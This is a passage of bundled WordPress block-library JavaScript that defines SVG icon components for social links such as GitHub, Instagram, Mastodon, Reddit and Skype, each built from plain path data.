  var GoogleIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime448.jsx)(import_primitives182.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime448.jsx)(import_primitives182.Path, { d: &quot;M12.02,10.18v3.72v0.01h5.51c-0.26,1.57-1.67,4.22-5.5,4.22c-3.31,0-6.01-2.75-6.01-6.12s2.7-6.12,6.01-6.12 c1.87,0,3.13,0.8,3.85,1.48l2.84-2.76C16.99,2.99,14.73,2,12.03,2c-5.52,0-10,4.48-10,10s4.48,10,10,10c5.77,0,9.6-4.06,9.6-9.77 c0-0.83-0.11-1.42-0.25-2.05H12.02z&quot; }) });

  // packages/block-library/build-module/social-link/icons/github.mjs
  var import_primitives183 = __toESM(require_primitives(), 1);
  var import_jsx_runtime449 = __toESM(require_jsx_runtime(), 1);
  var GitHubIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime449.jsx)(import_primitives183.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime449.jsx)(import_primitives183.Path, { d: &quot;M12,2C6.477,2,2,6.477,2,12c0,4.419,2.865,8.166,6.839,9.489c0.5,0.09,0.682-0.218,0.682-0.484 c0-0.236-0.009-0.866-0.014-1.699c-2.782,0.602-3.369-1.34-3.369-1.34c-0.455-1.157-1.11-1.465-1.11-1.465 c-0.909-0.62,0.069-0.608,0.069-0.608c1.004,0.071,1.532,1.03,1.532,1.03c0.891,1.529,2.341,1.089,2.91,0.833 c0.091-0.647,0.349-1.086,0.635-1.337c-2.22-0.251-4.555-1.111-4.555-4.943c0-1.091,0.39-1.984,1.03-2.682 C6.546,8.54,6.202,7.524,6.746,6.148c0,0,0.84-0.269,2.75,1.025C10.295,6.95,11.15,6.84,12,6.836 c0.85,0.004,1.705,0.114,2.504,0.336c1.909-1.294,2.748-1.025,2.748-1.025c0.546,1.376,0.202,2.394,0.1,2.646 c0.64,0.699,1.026,1.591,1.026,2.682c0,3.841-2.337,4.687-4.565,4.935c0.359,0.307,0.679,0.917,0.679,1.852 c0,1.335-0.012,2.415-0.012,2.741c0,0.269,0.18,0.579,0.688,0.481C19.138,20.161,22,16.416,22,12C22,6.477,17.523,2,12,2z&quot; }) });

  // packages/block-library/build-module/social-link/icons/gravatar.mjs
  var import_primitives184 = __toESM(require_primitives(), 1);
  var import_jsx_runtime450 = __toESM(require_jsx_runtime(), 1);
  var GravatarIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime450.jsx)(import_primitives184.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime450.jsx)(import_primitives184.Path, { d: &quot;M10.8001 4.69937V10.6494C10.8001 11.1001 10.9791 11.5323 11.2978 11.851C11.6165 12.1697 12.0487 12.3487 12.4994 12.3487C12.9501 12.3487 13.3824 12.1697 13.7011 11.851C14.0198 11.5323 14.1988 11.1001 14.1988 10.6494V6.69089C15.2418 7.05861 16.1371 7.75537 16.7496 8.67617C17.3622 9.59698 17.6589 10.6919 17.595 11.796C17.5311 12.9001 17.1101 13.9535 16.3954 14.7975C15.6807 15.6415 14.711 16.2303 13.6325 16.4753C12.5541 16.7202 11.4252 16.608 10.4161 16.1555C9.40691 15.703 8.57217 14.9348 8.03763 13.9667C7.50308 12.9985 7.29769 11.8828 7.45242 10.7877C7.60714 9.69266 8.11359 8.67755 8.89545 7.89537C9.20904 7.57521 9.38364 7.14426 9.38132 6.69611C9.37899 6.24797 9.19994 5.81884 8.88305 5.50195C8.56616 5.18506 8.13704 5.00601 7.68889 5.00369C7.24075 5.00137 6.80979 5.17597 6.48964 5.48956C5.09907 6.8801 4.23369 8.7098 4.04094 10.6669C3.84819 12.624 4.34 14.5873 5.43257 16.2224C6.52515 17.8575 8.15088 19.0632 10.0328 19.634C11.9146 20.2049 13.9362 20.1055 15.753 19.3529C17.5699 18.6003 19.0695 17.241 19.9965 15.5066C20.9234 13.7722 21.2203 11.7701 20.8366 9.84133C20.4528 7.91259 19.4122 6.17658 17.892 4.92911C16.3717 3.68163 14.466 2.99987 12.4994 3C12.0487 3 11.6165 3.17904 11.2978 3.49773C10.9791 3.81643 10.8001 4.24867 10.8001 4.69937Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/instagram.mjs
  var import_primitives185 = __toESM(require_primitives(), 1);
  var import_jsx_runtime451 = __toESM(require_jsx_runtime(), 1);
  var InstagramIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime451.jsx)(import_primitives185.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime451.jsx)(import_primitives185.Path, { d: &quot;M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z&quot; }) });

  // packages/block-library/build-module/social-link/icons/lastfm.mjs
  var import_primitives186 = __toESM(require_primitives(), 1);
  var import_jsx_runtime452 = __toESM(require_jsx_runtime(), 1);
  var LastfmIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime452.jsx)(import_primitives186.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime452.jsx)(import_primitives186.Path, { d: &quot;M 12.0002 1.5 C 6.2006 1.5 1.5 6.2011 1.5 11.9998 C 1.5 17.799 6.2006 22.5 12.0002 22.5 C 17.799 22.5 22.5 17.799 22.5 11.9998 C 22.5 6.2011 17.799 1.5 12.0002 1.5 Z M 16.1974 16.2204 C 14.8164 16.2152 13.9346 15.587 13.3345 14.1859 L 13.1816 13.8451 L 11.8541 10.8101 C 11.4271 9.7688 10.3526 9.0712 9.1801 9.0712 C 7.5695 9.0712 6.2593 10.3851 6.2593 12.001 C 6.2593 13.6165 7.5695 14.9303 9.1801 14.9303 C 10.272 14.9303 11.2651 14.3275 11.772 13.3567 C 11.7893 13.3235 11.8239 13.302 11.863 13.3038 C 11.9007 13.3054 11.9353 13.3288 11.9504 13.3632 L 12.4865 14.6046 C 12.5016 14.639 12.4956 14.6778 12.4723 14.7069 C 11.6605 15.6995 10.4602 16.2683 9.1801 16.2683 C 6.8331 16.2683 4.9234 14.3536 4.9234 12.001 C 4.9234 9.6468 6.833 7.732 9.1801 7.732 C 10.9572 7.732 12.3909 8.6907 13.1138 10.3636 C 13.1206 10.3802 13.8412 12.0708 14.4744 13.5191 C 14.8486 14.374 15.1462 14.896 16.1288 14.9292 C 17.0663 14.9613 17.7538 14.4122 17.7538 13.6485 C 17.7538 12.9691 17.3321 12.8004 16.3803 12.4822 C 14.7365 11.9398 13.845 11.3861 13.845 10.0182 C 13.845 8.6809 14.7667 7.8162 16.192 7.8162 C 17.1288 7.8162 17.8155 8.2287 18.2921 9.0768 C 18.305 9.1006 18.3079 9.1281 18.3004 9.1542 C 18.2929 9.1803 18.2748 9.2021 18.2507 9.2138 L 17.3614 9.669 C 17.3178 9.692 17.2643 9.6781 17.2356 9.6385 C 16.9329 9.2135 16.5956 9.0251 16.1423 9.0251 C 15.5512 9.0251 15.122 9.429 15.122 9.9865 C 15.122 10.6738 15.6529 10.8414 16.5339 11.1192 C 16.6491 11.1558 16.7696 11.194 16.8939 11.2343 C 18.2763 11.6865 19.0768 12.2311 19.0768 13.6836 C 19.0769 15.1297 17.8389 16.2204 16.1974 16.2204 Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/linkedin.mjs
  var import_primitives187 = __toESM(require_primitives(), 1);
  var import_jsx_runtime453 = __toESM(require_jsx_runtime(), 1);
  var LinkedInIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime453.jsx)(import_primitives187.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime453.jsx)(import_primitives187.Path, { d: &quot;M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z&quot; }) });

  // packages/block-library/build-module/social-link/icons/mail.mjs
  var import_primitives188 = __toESM(require_primitives(), 1);
  var import_jsx_runtime454 = __toESM(require_jsx_runtime(), 1);
  var MailIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime454.jsx)(import_primitives188.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime454.jsx)(import_primitives188.Path, { d: &quot;M19 5H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2zm.5 12c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l7.5 5.6 7.5-5.6V17zm0-9.1L12 13.6 4.5 7.9V7c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v.9z&quot; }) });

  // packages/block-library/build-module/social-link/icons/mastodon.mjs
  var import_primitives189 = __toESM(require_primitives(), 1);
  var import_jsx_runtime455 = __toESM(require_jsx_runtime(), 1);
  var MastodonIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime455.jsx)(import_primitives189.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime455.jsx)(import_primitives189.Path, { d: &quot;M23.193 7.879c0-5.206-3.411-6.732-3.411-6.732C18.062.357 15.108.025 12.041 0h-.076c-3.068.025-6.02.357-7.74 1.147 0 0-3.411 1.526-3.411 6.732 0 1.192-.023 2.618.015 4.129.124 5.092.934 10.109 5.641 11.355 2.17.574 4.034.695 5.535.612 2.722-.15 4.25-.972 4.25-.972l-.09-1.975s-1.945.613-4.129.539c-2.165-.074-4.449-.233-4.799-2.891a5.499 5.499 0 0 1-.048-.745s2.125.52 4.817.643c1.646.075 3.19-.097 4.758-.283 3.007-.359 5.625-2.212 5.954-3.905.517-2.665.475-6.507.475-6.507zm-4.024 6.709h-2.497V8.469c0-1.29-.543-1.944-1.628-1.944-1.2 0-1.802.776-1.802 2.312v3.349h-2.483v-3.35c0-1.536-.602-2.312-1.802-2.312-1.085 0-1.628.655-1.628 1.944v6.119H4.832V8.284c0-1.289.328-2.313.987-3.07.68-.758 1.569-1.146 2.674-1.146 1.278 0 2.246.491 2.886 1.474L12 6.585l.622-1.043c.64-.983 1.608-1.474 2.886-1.474 1.104 0 1.994.388 2.674 1.146.658.757.986 1.781.986 3.07v6.304z&quot; }) });

  // packages/block-library/build-module/social-link/icons/meetup.mjs
  var import_primitives190 = __toESM(require_primitives(), 1);
  var import_jsx_runtime456 = __toESM(require_jsx_runtime(), 1);
  var MeetupIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime456.jsx)(import_primitives190.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime456.jsx)(import_primitives190.Path, { d: &quot;M19.24775,14.722a3.57032,3.57032,0,0,1-2.94457,3.52073,3.61886,3.61886,0,0,1-.64652.05634c-.07314-.0008-.10187.02846-.12507.09547A2.38881,2.38881,0,0,1,13.49453,20.094a2.33092,2.33092,0,0,1-1.827-.50716.13635.13635,0,0,0-.19878-.00408,3.191,3.191,0,0,1-2.104.60248,3.26309,3.26309,0,0,1-3.00324-2.71993,2.19076,2.19076,0,0,1-.03512-.30865c-.00156-.08579-.03413-.1189-.11608-.13493a2.86421,2.86421,0,0,1-1.23189-.56111,2.945,2.945,0,0,1-1.166-2.05749,2.97484,2.97484,0,0,1,.87524-2.50774.112.112,0,0,0,.02091-.16107,2.7213,2.7213,0,0,1-.36648-1.48A2.81256,2.81256,0,0,1,6.57673,7.58838a.35764.35764,0,0,0,.28869-.22819,4.2208,4.2208,0,0,1,6.02892-1.90111.25161.25161,0,0,0,.22023.0243,3.65608,3.65608,0,0,1,3.76031.90678A3.57244,3.57244,0,0,1,17.95918,8.626a2.97339,2.97339,0,0,1,.01829.57356.10637.10637,0,0,0,.0853.12792,1.97669,1.97669,0,0,1,1.27939,1.33733,2.00266,2.00266,0,0,1-.57112,2.12652c-.05284.05166-.04168.08328-.01173.13489A3.51189,3.51189,0,0,1,19.24775,14.722Zm-6.35959-.27836a1.6984,1.6984,0,0,0,1.14556,1.61113,3.82039,3.82039,0,0,0,1.036.17935,1.46888,1.46888,0,0,0,.73509-.12255.44082.44082,0,0,0,.26057-.44274.45312.45312,0,0,0-.29211-.43375.97191.97191,0,0,0-.20678-.063c-.21326-.03806-.42754-.0701-.63973-.11215a.54787.54787,0,0,1-.50172-.60926,2.75864,2.75864,0,0,1,.1773-.901c.1763-.535.414-1.045.64183-1.55913A12.686,12.686,0,0,0,15.85,10.47863a1.58461,1.58461,0,0,0,.04861-.87208,1.04531,1.04531,0,0,0-.85432-.83981,1.60658,1.60658,0,0,0-1.23654.16594.27593.27593,0,0,1-.36286-.03413c-.085-.0747-.16594-.15379-.24918-.23055a.98682.98682,0,0,0-1.33577-.04933,6.1468,6.1468,0,0,1-.4989.41615.47762.47762,0,0,1-.51535.03566c-.17448-.09307-.35512-.175-.53531-.25665a1.74949,1.74949,0,0,0-.56476-.2016,1.69943,1.69943,0,0,0-1.61654.91787,8.05815,8.05815,0,0,0-.32952.80126c-.45471,1.2557-.82507,2.53825-1.20838,3.81639a1.24151,1.24151,0,0,0,.51532,1.44389,1.42659,1.42659,0,0,0,1.22008.17166,1.09728,1.09728,0,0,0,.66994-.69764c.44145-1.04111.839-2.09989,1.25981-3.14926.11581-.28876.22792-.57874.35078-.86438a.44548.44548,0,0,1,.69189-.19539.50521.50521,0,0,1,.15044.43836,1.75625,1.75625,0,0,1-.14731.50453c-.27379.69219-.55265,1.38236-.82766,2.074a2.0836,2.0836,0,0,0-.14038.42876.50719.50719,0,0,0,.27082.57722.87236.87236,0,0,0,.66145.02739.99137.99137,0,0,0,.53406-.532q.61571-1.20914,1.228-2.42031.28423-.55863.57585-1.1133a.87189.87189,0,0,1,.29055-.35253.34987.34987,0,0,1,.37634-.01265.30291.30291,0,0,1,.12434.31459.56716.56716,0,0,1-.04655.1915c-.05318.12739-.10286.25669-.16183.38156-.34118.71775-.68754,1.43273-1.02568,2.152A2.00213,2.00213,0,0,0,12.88816,14.44366Zm4.78568,5.28972a.88573.88573,0,0,0-1.77139.00465.8857.8857,0,0,0,1.77139-.00465Zm-14.83838-7.296a.84329.84329,0,1,0,.00827-1.68655.8433.8433,0,0,0-.00827,1.68655Zm10.366-9.43673a.83506.83506,0,1,0-.0091,1.67.83505.83505,0,0,0,.0091-1.67Zm6.85014,5.22a.71651.71651,0,0,0-1.433.0093.71656.71656,0,0,0,1.433-.0093ZM5.37528,6.17908A.63823.63823,0,1,0,6.015,5.54483.62292.62292,0,0,0,5.37528,6.17908Zm6.68214,14.80843a.54949.54949,0,1,0-.55052.541A.54556.54556,0,0,0,12.05742,20.98752Zm8.53235-8.49689a.54777.54777,0,0,0-.54027.54023.53327.53327,0,0,0,.532.52293.51548.51548,0,0,0,.53272-.5237A.53187.53187,0,0,0,20.58977,12.49063ZM7.82846,2.4715a.44927.44927,0,1,0,.44484.44766A.43821.43821,0,0,0,7.82846,2.4715Zm13.775,7.60492a.41186.41186,0,0,0-.40065.39623.40178.40178,0,0,0,.40168.40168A.38994.38994,0,0,0,22,10.48172.39946.39946,0,0,0,21.60349,10.07642ZM5.79193,17.96207a.40469.40469,0,0,0-.397-.39646.399.399,0,0,0-.396.405.39234.39234,0,0,0,.39939.389A.39857.39857,0,0,0,5.79193,17.96207Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/medium.mjs
  var import_primitives191 = __toESM(require_primitives(), 1);
  var import_jsx_runtime457 = __toESM(require_jsx_runtime(), 1);
  var MediumIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime457.jsx)(import_primitives191.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime457.jsx)(import_primitives191.Path, { d: &quot;M13.2,12c0,3-2.4,5.4-5.3,5.4S2.6,15,2.6,12s2.4-5.4,5.3-5.4S13.2,9,13.2,12 M19.1,12c0,2.8-1.2,5-2.7,5s-2.7-2.3-2.7-5s1.2-5,2.7-5C17.9,7,19.1,9.2,19.1,12 M21.4,12c0,2.5-0.4,4.5-0.9,4.5c-0.5,0-0.9-2-0.9-4.5s0.4-4.5,0.9-4.5C21,7.5,21.4,9.5,21.4,12&quot; }) });

  // packages/block-library/build-module/social-link/icons/patreon.mjs
  var import_primitives192 = __toESM(require_primitives(), 1);
  var import_jsx_runtime458 = __toESM(require_jsx_runtime(), 1);
  var PatreonIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime458.jsx)(import_primitives192.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime458.jsx)(import_primitives192.Path, { d: &quot;M20 8.40755C19.9969 6.10922 18.2543 4.22555 16.2097 3.54588C13.6708 2.70188 10.3222 2.82421 7.89775 3.99921C4.95932 5.42355 4.03626 8.54355 4.00186 11.6552C3.97363 14.2136 4.2222 20.9517 7.92225 20.9997C10.6715 21.0356 11.0809 17.3967 12.3529 15.6442C13.258 14.3974 14.4233 14.0452 15.8578 13.6806C18.3233 13.0537 20.0036 11.0551 20 8.40755Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/pinterest.mjs
  var import_primitives193 = __toESM(require_primitives(), 1);
  var import_jsx_runtime459 = __toESM(require_jsx_runtime(), 1);
  var PinterestIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime459.jsx)(import_primitives193.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime459.jsx)(import_primitives193.Path, { d: &quot;M12.289,2C6.617,2,3.606,5.648,3.606,9.622c0,1.846,1.025,4.146,2.666,4.878c0.25,0.111,0.381,0.063,0.439-0.169 c0.044-0.175,0.267-1.029,0.365-1.428c0.032-0.128,0.017-0.237-0.091-0.362C6.445,11.911,6.01,10.75,6.01,9.668 c0-2.777,2.194-5.464,5.933-5.464c3.23,0,5.49,2.108,5.49,5.122c0,3.407-1.794,5.768-4.13,5.768c-1.291,0-2.257-1.021-1.948-2.277 c0.372-1.495,1.089-3.112,1.089-4.191c0-0.967-0.542-1.775-1.663-1.775c-1.319,0-2.379,1.309-2.379,3.059 c0,1.115,0.394,1.869,0.394,1.869s-1.302,5.279-1.54,6.261c-0.405,1.666,0.053,4.368,0.094,4.604 c0.021,0.126,0.167,0.169,0.25,0.063c0.129-0.165,1.699-2.419,2.142-4.051c0.158-0.59,0.817-2.995,0.817-2.995 c0.43,0.784,1.681,1.446,3.013,1.446c3.963,0,6.822-3.494,6.822-7.833C20.394,5.112,16.849,2,12.289,2&quot; }) });

  // packages/block-library/build-module/social-link/icons/pocket.mjs
  var import_primitives194 = __toESM(require_primitives(), 1);
  var import_jsx_runtime460 = __toESM(require_jsx_runtime(), 1);
  var PocketIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime460.jsx)(import_primitives194.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime460.jsx)(import_primitives194.Path, { d: &quot;M21.927,4.194C21.667,3.48,20.982,3,20.222,3h-0.01h-1.721H3.839C3.092,3,2.411,3.47,2.145,4.17 C2.066,4.378,2.026,4.594,2.026,4.814v6.035l0.069,1.2c0.29,2.73,1.707,5.115,3.899,6.778c0.039,0.03,0.079,0.059,0.119,0.089 l0.025,0.018c1.175,0.859,2.491,1.441,3.91,1.727c0.655,0.132,1.325,0.2,1.991,0.2c0.615,0,1.232-0.057,1.839-0.17 c0.073-0.014,0.145-0.028,0.219-0.044c0.02-0.004,0.042-0.012,0.064-0.023c1.359-0.297,2.621-0.864,3.753-1.691l0.025-0.018 c0.04-0.029,0.08-0.058,0.119-0.089c2.192-1.664,3.609-4.049,3.898-6.778l0.069-1.2V4.814C22.026,4.605,22,4.398,21.927,4.194z M17.692,10.481l-4.704,4.512c-0.266,0.254-0.608,0.382-0.949,0.382c-0.342,0-0.684-0.128-0.949-0.382l-4.705-4.512 C5.838,9.957,5.82,9.089,6.344,8.542c0.524-0.547,1.392-0.565,1.939-0.04l3.756,3.601l3.755-3.601 c0.547-0.524,1.415-0.506,1.939,0.04C18.256,9.089,18.238,9.956,17.692,10.481z&quot; }) });

  // packages/block-library/build-module/social-link/icons/reddit.mjs
  var import_primitives195 = __toESM(require_primitives(), 1);
  var import_jsx_runtime461 = __toESM(require_jsx_runtime(), 1);
  var RedditIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime461.jsx)(import_primitives195.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime461.jsx)(import_primitives195.Path, { d: &quot;M5.27 9.221A2.775 2.775 0 0 0 2.498 11.993a2.785 2.785 0 0 0 1.6 2.511 5.337 5.337 0 0 0 2.374 4.11 9.386 9.386 0 0 0 5.539 1.7 9.386 9.386 0 0 0 5.541-1.7 5.331 5.331 0 0 0 2.372-4.114 2.787 2.787 0 0 0 1.583-2.5 2.775 2.775 0 0 0-2.772-2.772 2.742 2.742 0 0 0-1.688.574 9.482 9.482 0 0 0-4.637-1.348v-.008a2.349 2.349 0 0 1 2.011-2.316 1.97 1.97 0 0 0 1.926 1.521 1.98 1.98 0 0 0 1.978-1.978 1.98 1.98 0 0 0-1.978-1.978 1.985 1.985 0 0 0-1.938 1.578 3.183 3.183 0 0 0-2.849 3.172v.011a9.463 9.463 0 0 0-4.59 1.35 2.741 2.741 0 0 0-1.688-.574Zm6.736 9.1a3.162 3.162 0 0 1-2.921-1.944.215.215 0 0 1 .014-.2.219.219 0 0 1 .168-.106 27.327 27.327 0 0 1 2.74-.133 27.357 27.357 0 0 1 2.74.133.219.219 0 0 1 .168.106.215.215 0 0 1 .014.2 3.158 3.158 0 0 1-2.921 1.944Zm3.743-3.157a1.265 1.265 0 0 1-1.4-1.371 1.954 1.954 0 0 1 .482-1.442 1.15 1.15 0 0 1 .842-.379 1.7 1.7 0 0 1 1.49 1.777 1.323 1.323 0 0 1-.325 1.015 1.476 1.476 0 0 1-1.089.4Zm-7.485 0a1.476 1.476 0 0 1-1.086-.4 1.323 1.323 0 0 1-.325-1.016 1.7 1.7 0 0 1 1.49-1.777 1.151 1.151 0 0 1 .843.379 1.951 1.951 0 0 1 .481 1.441 1.276 1.276 0 0 1-1.403 1.373Z&quot; }) });

  // packages/block-library/build-module/social-link/icons/skype.mjs
  var import_primitives196 = __toESM(require_primitives(), 1);
  var import_jsx_runtime462 = __toESM(require_jsx_runtime(), 1);
  var SkypeIcon = () =&gt; /* @__PURE__ */ (0, import_jsx_runtime462.jsx)(import_primitives196.SVG, { width: &quot;24&quot;, height: &quot;24&quot;, viewBox: &quot;0 0 24 24&quot;, version: &quot;1.1&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime462.jsx)(import_primitives196.Path, { d: &quot;M10.113,2.699c0.033-0.006,0.067-0.013,0.1-0.02c0.033,0.017,0.066,0.033,0.098,0.051L10.113,2.699z M2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223z M21.275,13.771 c0.007-0.035,0.011-0.071,0.018-0.106c-0.018-0.031-0.033-0.064-0.052-0.095L21.275,13.771z M13.563,21.199 c0.032,0.019,0.065,0.035,0.096,0.053c0.036-0.006,0.071-0.011,0.105-0.017L13.563,21.199z M22,16.386 c0,1.494-0.581,2.898-1.637,3.953c-1.056,1.057-2.459,1.637-3.953,1.637c-0.967,0-1.914-0.251-2.75-0.725 c0.036-0.006,0.071-0.011,0.105-0.017l-0.202-0.035c0.032,0.019,0.065,0.035,0.096,0.053c-0.543,0.096-1.099,0.147-1.654,0.147 c-1.275,0-2.512-0.25-3.676-0.743c-1.125-0.474-2.135-1.156-3.002-2.023c-0.867-0.867-1.548-1.877-2.023-3.002 c-0.493-1.164-0.743-2.401-0.743-3.676c0-0.546,0.049-1.093,0.142-1.628c0.018,0.032,0.033,0.064,0.051,0.095L2.72,10.223 c-0.006,0.034-0.011,0.069-0.017,0.103C2.244,9.5,2,8.566,2,7.615c0-1.493,0.582-2.898,1.637-3.953 c1.056-1.056,2.46-1.638,3.953-1.638c0.915,0,1.818,0.228,2.622,0.655c-0.033,0.007-0.067,0.013-0.1,0.02l0.199,0.031 c-0.032-0.018-0.066-0.034-0.098-0.051c0.002,0,0.003-0.001,0.004-0.001c0.586-0.112,1.187-0.169,1.788-0.169 c1.275,0,2.512,0.249,3.676,0.742c1.124,0.476,2.135,1.156,3.002,2.024c0.868,0.867,1.548,1.877,2.024,3.002 c0.493,1.164,0.743,2.401,0.743,3.676c0,0.575-0.054,1.15-0.157,1.712c-0.018-0.031-0.033-0.064-0.052-0.095l0.034,0.201 c0.007-0.035,0.011-0.071,0.018-0.106C21.754,14.494,22,15.432,22,16.386z M16.817,14.138c0-1.331-0.613-2.743-3.033-3.282 l-2.209-0.49c-0.84-0.192-1.807-0.444-1.807-1.237c0-0.794,0.679-1.348,1.903-1.348c2.468,0,2.243,1.696,3.468,1.696 c0.645,0,1.209-0.379,1.209-1.031c0-1.521-2.435-2.663-4.5-2.663c-2.242,0-4.63,0.952-4.63,3.488c0,1.221,0.436,2.521,2.839,3.123 l2.984,0.745c0.903,0.223,1.129,0.731,1.129,1.189c0,0.762-0.758,1.507-2.129,1.507c-2.679,0-2.307-2.062-3.743-2.062 c-0.645,0-1.113,0.444-1.113,1.078c0,1.236,1.501,2.886,4.856,2.886C15.236,17.737,16.817,16.199,16.817,14.138z&quot; }) });

